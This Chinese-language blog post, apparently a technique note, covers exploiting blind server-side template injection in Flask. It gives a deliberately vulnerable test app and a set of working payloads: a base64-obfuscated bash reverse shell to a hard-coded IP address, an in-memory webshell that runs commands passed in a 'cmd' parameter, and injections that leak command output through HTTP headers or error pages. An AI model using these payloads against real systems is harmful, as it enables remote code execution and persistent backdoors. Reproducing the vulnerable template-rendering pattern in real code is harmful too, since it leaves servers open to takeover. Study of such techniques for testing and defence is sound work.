參考了先知中的很多blog
先貼一個測試指令碼
from flask import Flask, request,render_template, render_template_string
app = Flask(__name__)
@app.route('/', methods=["POST"])
def template():
template = request.form.get("code")
result=render_template_string(template)
print(result)
if result !=None:
return "OK"
else:
return "error"
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=8000)
可以看到這裡進行了一次模板渲染,存在SSTI漏洞,但是沒有對渲染的結果進行回顯.
這裡的打法比較豐富.
寫檔案到static
最通用的一個辦法,像js啥的也可以寫到public中.
出網反彈shell
這也是最簡單的一種打法,在出網的情況下直接反彈shell.
x={{lipsum.__globals__['os'].popen('bash${IFS}-c${IFS}\'{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMuNDAvMTExMSAwPiYx}|{base64,-d}|{bash,-i}\'').read()}}
注入記憶體馬
基礎款:
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
使用方式:直接get去傳參cmd即可.
https://xz.aliyun.com/t/14539 這個文章中給出了很多其他的鉤子的用法,然而嘗試了並沒有復現成功.
包括只用hex等方式去進行bypass的,也都沒復現成功.
httpheader回顯
http
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"protocol_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}
server
{{lipsum.__globals__.__builtins__.setattr(lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.serving.WSGIRequestHandler,"server_version",lipsum.__globals__.__builtins__.__import__('os').popen('echo%20success').read())}}
錯誤頁面
汙染404:
{{url_for.__globals__.__builtins__['setattr'](lipsum.__spec__.__init__.__globals__.sys.modules.werkzeug.exceptions.NotFound,'description',url_for.__globals__.__builtins__['__import__']('os').popen('dir').read())}}
可以使用InternalServerError
等去替換NotFound
來汙染其他頁面
盲注
不同情況下寫法不同,注意使用二分來最佳化.